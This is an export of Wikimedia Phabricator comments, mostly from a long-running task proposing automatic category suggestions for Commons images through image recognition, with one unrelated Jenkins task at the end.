+49492,Automatically propose/suggest a category for images,"Let's crush the [categorisation backlog](https://commons.wikimedia.org/wiki/User:Multichill/Categorization_stats) once and for all!
+
+some categorization could be automated already.
+
+Searching for pictures based on meta-data is called ""Concept Based Image Retrieval"", searching based on the machine vision recognized content of the image is called ""Content Based Image Retrieval"".
+
+What I understood of Lars' request, is an automated way of finding the ""superfluous"" concepts or meta-data for pictures based on their content. Of course recognizing an images content is very hard (and subjective), but I think it would be possible for many of these ""superfluous"" categories, such as ""winter landscape"", ""summer beach"" and perhaps also ""red flowers"" and ""bicycle"".
+
+There exist today many open source ""Content Based Image Retrieval"" systems, that I understand basically works in the way that you give them a picture, and they find you the ""matching"" pictures accompanied with a score. Now suppose we show a picture with known content (pictures from Commons with good meta-data), then we could to a degree of trust find pictures with overlapping categories. I am not sure whether this kind of automated reverse meta-data labelling should be done for only one category per time, or if some kind of ""category bundles"" work better. Probably adjectives and items should be compounded (eg ""red flowers"").
+
+Relevant articles and links from Wikipedia:
+
+  # [w:Image_retrieval](https://en.wikipedia.org/wiki/Image_retrieval)
+  # [w:Content-based_image_retrieval](https://en.wikipedia.org/wiki/Content-based_image_retrieval)
+  # [w:List_of_CBIR_engines#CBIR_research_projects.2Fdemos.2Fopen_source_projects](https://en.wikipedia.org/wiki/List_of_CBIR_engines#CBIR_research_projects.2Fdemos.2Fopen_source_projects)
+
+ Some demo links bawolff found:
+
+
+  # [http://demo-itec.uni-klu.ac.at/liredemo/](http://demo-itec.uni-klu.ac.at/liredemo/ ) (Lire might even be integrated with CirrusSearch because it's based on Lucene)
+  # [http://image.mdx.ac.uk/time/demo.php](http://image.mdx.ac.uk/time/demo.php)
+  # [http://mi-file.isti.cnr.it:8765/CophirSearch/](http://mi-file.isti.cnr.it:8765/CophirSearch/)
+  # [http://orpheus.ee.duth.gr/anaktisi/](http://orpheus.ee.duth.gr/anaktisi/) (not free)
+  # [https://youtube.com/2eaGwk4Xhks](https://youtube.com/2eaGwk4Xhks)
+
+
+  - Skills: image recognition/analysis, possibly Natural language processing; language depending on implementation, e.g. python for a [PWB tool](https://www.mediawiki.org/wiki/Manual:Pywikibot), JavaScript and PHP for a MediaWiki extension, JavaScript for a [tool](https://www.mediawiki.org/wiki/Tool_Labs) similar to the [Wikidata Game](http://magnusmanske.de/wordpress/?p=203).
+  - Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?
+  - Additional info: ""I like the idea of automating categorisation, but I think we are a long way from being able to do much of it. So this would be a big longterm project. One of my concerns is that we are a global site, and we are trying to collect the most diverse set of images that anyone has ever assembled. Image recognition is a good way of saying that we now have another twenty images of this person, but it could be confused when we get our first images of one of the fox subspecies that we don't yet have a picture of. Or rather it would struggle to differentiate the rare and the unique from their more common cousins. There are also some spooky implications for privacy re image recognition and our pictures of people, aside from the obvious things like identifying demonstrators in a crowd or linking a series of shots of one person in such a way as to identify that this photograph of a face belongs to the same person as this photo of pubic hair because the hand is identical; We have had some dodgy things happening on Wikipedia with people wanting to categorise people ethnically and I worry that someone might use a tool such as this to try and semi accurately categorise people as say Jewish. Another major route for improved categorisation is geodata, and I think this could be a less contentious route. Not that everything has geodata, but if things have it could be a neat way to categorise a lot of images, especially if we can get boundary data so we can categorise images as being shot from within a set of boundaries rather than centroid data with all its problems that the parts of one place maybe closer to the centre of an adjacent place than the centre of the area they belong to. WereSpielChequers (talk) 09:58, 20 June 2014 (UTC)""
+
+----
+Proposed in #community-wishlist-survey-2016. Received 33 support votes, and ranked #45 out of 265 proposals. [[ https://meta.wikimedia.org/wiki/2016_Community_Wishlist_Survey/Categories/Commons#CW2016-R045 | View complete proposal with discussion and votes here. ]]",Lowest,10.0,1366602900,,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_description,open,True,c1,1,False,False,,-10,,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+1104990,Automatically propose/suggest a category for images,"Hi there. I did work on a proof of concept for this during the hackathon. Backend code is at https://github.com/Niharika29/imagery as Framawiki pointed out. The user script is at https://commons.wikimedia.org/wiki/User:NKohli_(WMF)/imagery.js (It needs a lot of improvements but works okay as a proof of concept). To use it, add `importScript( 'User:NKohli_(WMF)/imagery.js' );` to your common.js page and then you will see a 'Detect labels' button underneath each image on the File page for the image. Clicking that button will activate it and after a few seconds it will be replaced by features it found in the image and suggested categories.
+
+This could use a lot of feature and design improvements. I haven't heard any actual feedback on the script yet so I was waiting on that a bit. I would be more than happy to work on improving this script and eventually proposing it be a gadget, if people think that's a good idea.
+
+As for integration into MediaWiki - that would be a challenge. This script works by querying Google's image recognition service. Anything that can do feature labelling for images needs to have a huge, good, trained dataset like Google does. We'd first have to build that in order to build the extension because we do not deploy extensions which rely on external services. That's a monumental task and it will probably be years before we can get that in place. 
+",,,1531771716,,PHID-USER-qztkawkvfnwvkspdr46l,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,263,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+1104712,Automatically propose/suggest a category for images,@Framawiki: Is there a reason why this should preferably be implemented via a MediaWiki extension (instead of any kind of implementation)?,,,1531749181,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,263,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0
+1104658,Automatically propose/suggest a category for images,">>! In T49492#4427133, @Aklapper wrote:
+> Someone correct me if I'm wrong: I think that @Niharika worked on this in {T155538} as can be seen in https://commons.wikimedia.org/wiki/File:Wikimedia_Hackathon_2018_showcase_-_Image_labelling_and_category_suggester.jpg ? 
+> Wondering if there is a link to a codebase to share?
+
+True, but as I remember @Niharika says during the presentation that she worked on a proof-of-concept. Backend is at https://github.com/Niharika29/imagery.
+
+Why removing #MediaWiki-extension-requests ? It would be great to have this feature integrated in mediawiki, no ? For example directly integrated into the #UploadWizard.",,,1531745771,,PHID-USER-aswxykknolbbycawydkz,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,263,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+1104655,Automatically propose/suggest a category for images,"Someone correct me if I'm wrong: I think that @Niharika worked on this in {T155538} as can be seen in https://commons.wikimedia.org/wiki/File:Wikimedia_Hackathon_2018_showcase_-_Image_labelling_and_category_suggester.jpg ? 
+Wondering if there is a link to a codebase to share?",,,1531745242,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,263,,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0
+1102765,Automatically propose/suggest a category for images,"Removing the  #possible-tech-projects tag as we are planning to kill it soon! This project does not seem to fit in the #outreach-programs-projects category in its current state, so I am not adding that tag right now! ",,,1531374696,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,262,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+846089,Automatically propose/suggest a category for images,I'm interested in thinking along/working on image recognition (and classification) on Commons. See also T155538.,,,1492719064,,PHID-USER-dl5hhyukw7ernefjsgrd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+845997,Automatically propose/suggest a category for images,"@WereSpielChequers That sounds great! Thanks for willing to mentor :) I'm going to link your Phabricator username in the hackathon task, and if someone wants to reach out to you for questions, they can comment here or msg you on Phabricator? ",,,1492713320,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0
+845514,Automatically propose/suggest a category for images,"I'm happy to mentor, though my availability is limited at present. Email me if a Skype chat would be useful.",,,1492679788,,PHID-USER-a4aiqpertfr5ceq6qg2d,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+845363,Automatically propose/suggest a category for images,"I'm adding this task here T154988. Let me know if it is not a good idea to do so :) Also, if it's fine as it is in the linked task, would someone be willing to be a point of contact/ mentor/ available to answer questions for this task during the hackathon?  ",,,1492645954,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0
+845360,Automatically propose/suggest a category for images,I'm adding this task here T154988. Let me know if it is not a good idea to do so :) ,,,1492645575,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,198,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+818016,Automatically propose/suggest a category for images,"I'm not sure I'd call it ""standard"".  Image processing is a notoriously difficult problem.  See https://xkcd.com/1425/ for relevant discussion.  ",,,1488416741,,PHID-USER-u64h73gx226teqcym3r5,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0
+817412,Automatically propose/suggest a category for images,"@Halfak this looks like an interesting and standard ML thing. Can this be structured as a research project to do a feasibility study of methods for image category suggestions for current round of GSoC, Outreachy, RGSoC internships?",,,1488342572,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0
+816638,Automatically propose/suggest a category for images,"(NOTE) This task was proposed in the #community-wishlist-survey-2016 and in its current state needs owner. Wikimedia is participating in [[ https://www.mediawiki.org/wiki/Google_Summer_of_Code_2017 | Google Summer of Code 2017 ]] and [[ https://www.mediawiki.org/wiki/Outreachy/Round_14 | Outreachy Round 14 ]].  To the subscribers -- would this task or a portion of it be a good fit for either of these programs? If so, would you be willing to help mentor this project? Remember, each outreach project requires a minimum of one primary mentor, and co-mentor.",,,1488248718,,PHID-USER-dho6cgabdzx4ehinmzcd,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,191,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+620734,Automatically propose/suggest a category for images,"IMPORTANT: This is a message posted to all tasks under ""Need Discussion"" at Possible-Tech-Projects. Wikimedia has been accepted as a mentor organization for GSoC '16. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it.",,,1456853860,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,139,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+539154,Automatically propose/suggest a category for images,"Hi. I am new to image recognition, so I think this could be a great learning opportunity for me. I would really appreciate it if I could get some help understanding the scope of this project and also help me find mentors, or suggest how I could get in touch with possible mentors. I am interested in applying for this project in Outreachy 11, but if that doesn't work out, I think this would still be a really great learning opportunity for me and I would like to contribute to it nonetheless. Thanks. ",,,1443721833,,PHID-USER-stsyzohkfwbw7rep2wxj,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+536990,Automatically propose/suggest a category for images,"The description says ""Possible mentors: Kristian Kankainen (Keeleleek); WereSpielChequers?"" CCing @werespielchequers, couldn't find Kristian.
+
+I'm also adding #Community-Tech, since this feature looks like within their scope of tools helping experienced editors. Please remove it if this is not correct.
+
+It looks like this task needs a bit of discussion to confirm that it is a good fit for #Possible-Tech-Projects. Is it a feature that is needed and the community would welcome? Is the estimated project time for a senior contributor around 2-3 weeks?",,,1443519573,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0
+536946,Automatically propose/suggest a category for images,Hi. I think this project is very interesting. I want to work on this in the upcoming round of Outreachy and I want to know what is expected out of me in terms of the skills and background knowledge required. Please let me know how I can contribute. Thanks. ,,,1443514187,,PHID-USER-stsyzohkfwbw7rep2wxj,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,117,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+533084,Automatically propose/suggest a category for images,"This is a message sent to all #Possible-Tech-Projects. The new round of [[ https://meta.wikimedia.org/wiki/Grants:IEG | Wikimedia Individual Engagement Grants ]] is open until 29 Sep. For the first time, technical projects are within scope, thanks to the feedback received at Wikimania 2015, before, and after ([[ https://phabricator.wikimedia.org/T105414 | T105414 ]]). If someone is interested in obtaining funds to push this task, this might be a good way.",,,1443000963,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,116,,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+533007,Automatically propose/suggest a category for images,"This is a message posted to all tasks under ""Re-check in September 2015"" at #Possible-Tech-Projects. #Outreachy-Round-11 is around the corner. If you want to propose this task as a featured project idea, we need a clear plan with community support, and two mentors willing to support it.",,,1442999420,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,116,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+216604,Automatically propose/suggest a category for images,"Yeah, this idea is interesting but pretty much out of scope for Bugzilla as long as it's entirely unclear how to code it.",,,1405685443,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,54,,1,0,1,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+216600,Automatically propose/suggest a category for images,So we discuss a number of options here and it is not clear at all how to proceed. Wondering if an https://www.mediawiki.org/wiki/Requests_for_comment would be better.,,,1373888179,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,True,,,2,,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0
+216594,Automatically propose/suggest a category for images,Is this bug also apropriate for mw extension VisualEditor ?,,,1373629378,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+216588,Automatically propose/suggest a category for images,"Gather display and add few more options
+
+option 6)At advance search give an option to compare and suggest a category. If selected Compare the categories also when advance search is being carried out.
+
+Have a differentlly coloured column on right hand side of search results of uncatgorised pages 
+
+
+Option 7)In special pages there is one tool called  Special:ComparePages .The tool is currently under utilised if enhanced with feature button assking to show uncategorised pages one after another. and suggesting pages for comparison . Utilisation of this good tool will improve and also rest of the data also will get improved.",,,1367070822,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
+216580,Automatically propose/suggest a category for images,"I came across one edit filter Filter no1(http://ja.wikipedia.org/wiki/特別:不正利用フィルター/1)  on Japanese Wikipedia it has tagged more than 80000 new uncategorised pages , the data what is already available in special pages.But here purpose of using edit filter may be to be behind page creators to add a category.This is how an avarage wikipedian looks towards imporatance of categorisation it seems.",,,1367069812,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+216573,Automatically propose/suggest a category for images,"Where to display options and How to insert
+
+1)Vis a Vis above first option: If a page is new or uncategorised , A button can be shown before save pages to add category.
+
+:Horizontal category option display can be provided just above save button line ,and if clicked same as in edit tools it will get added to edit window
+
+2)For option two same as First's option
+
+
+3) For third option HotCat option display as some one clicks + button 
+
+4) For fourth option to display and  add category from exmine page please also see bug no. 47497 also.
+
+5)For fifth option either like first option or a pop-up after firt few sentences are typed on a new or uncategorised page.",,,1367069015,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+216566,Automatically propose/suggest a category for images,"Thanks for being prompt from your side and sorry for delay from my side.
+
+
+*>>how this woould be gathered<< 
+
+1)Some part of info is already being gathered for  ""Special:Categories"" ,'Special:UncategorizedPages' and other related pages.Analyse first copule of line of categorised pages and suggest categories to un categorised pages.
+
+2)Second option is to gather information from (interwiki) Wikidata . 
+Example: Say page 'abc' and its category page 'xyz' both are common for  language 'o' and language 'p'  wikipedia + may be more other languages; say page 'efg' also is connected on more than two wikis but category 'xyz' is mentioned on some wikis and not mentioned on some wiki's 
+
+3)Third option enhancement on HotCat gadget side, when, a category is being added collect first two or three sentences of the article for statisticle comparison,or give a key line option and request editors to provide keyline  
+
+4)fourth option, having few say 5 edit filters with upto 10 keywords each and allowing edit filter manager to add category from exmine page
+
+5) Fifth option As and when Wikipedia goes for realtime editing analyse first couple of lines statistically.",,,1367067890,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+216560,Automatically propose/suggest a category for images,Mahitgar: Please elaborate how this woould be gathered and displayed.,,,1366734764,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
+216554,Automatically propose/suggest a category for images,"Note people have done things like this before. See CommonSense on toolserver. I have no idea how that tool works or if it could be feasible to use the same method in mw.
+
+I agree with andre that how to display such information is very unclear.
+
+P.s. I don't think the original poster was referring to the CategoryTree extension when s/he said category tree.",,,1366617778,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,0,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+216549,Automatically propose/suggest a category for images,"It's not clear to me how ""automatic suggestion"" would work - the only sentence you provide about your *expected* outcome is ""The way bugzilla suggests automated summary"".
+
+What would proposals be based on? Only checking for strings that were previously used, or do you also have other heuristics in mind?
+
+When would this be displayed, and where? Only when using CategoryTree?",,,1366613694,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,0
+48860,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","The job will vote -1. But only in gate-and-submit, when working on it the tests should pass (or have this one be non-voting).
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Lowest,10.0,1365022920,1490610800.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-idlocbtqlilq2tqfojzu,task_description,declined,True,c1,1,True,False,False,-13,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
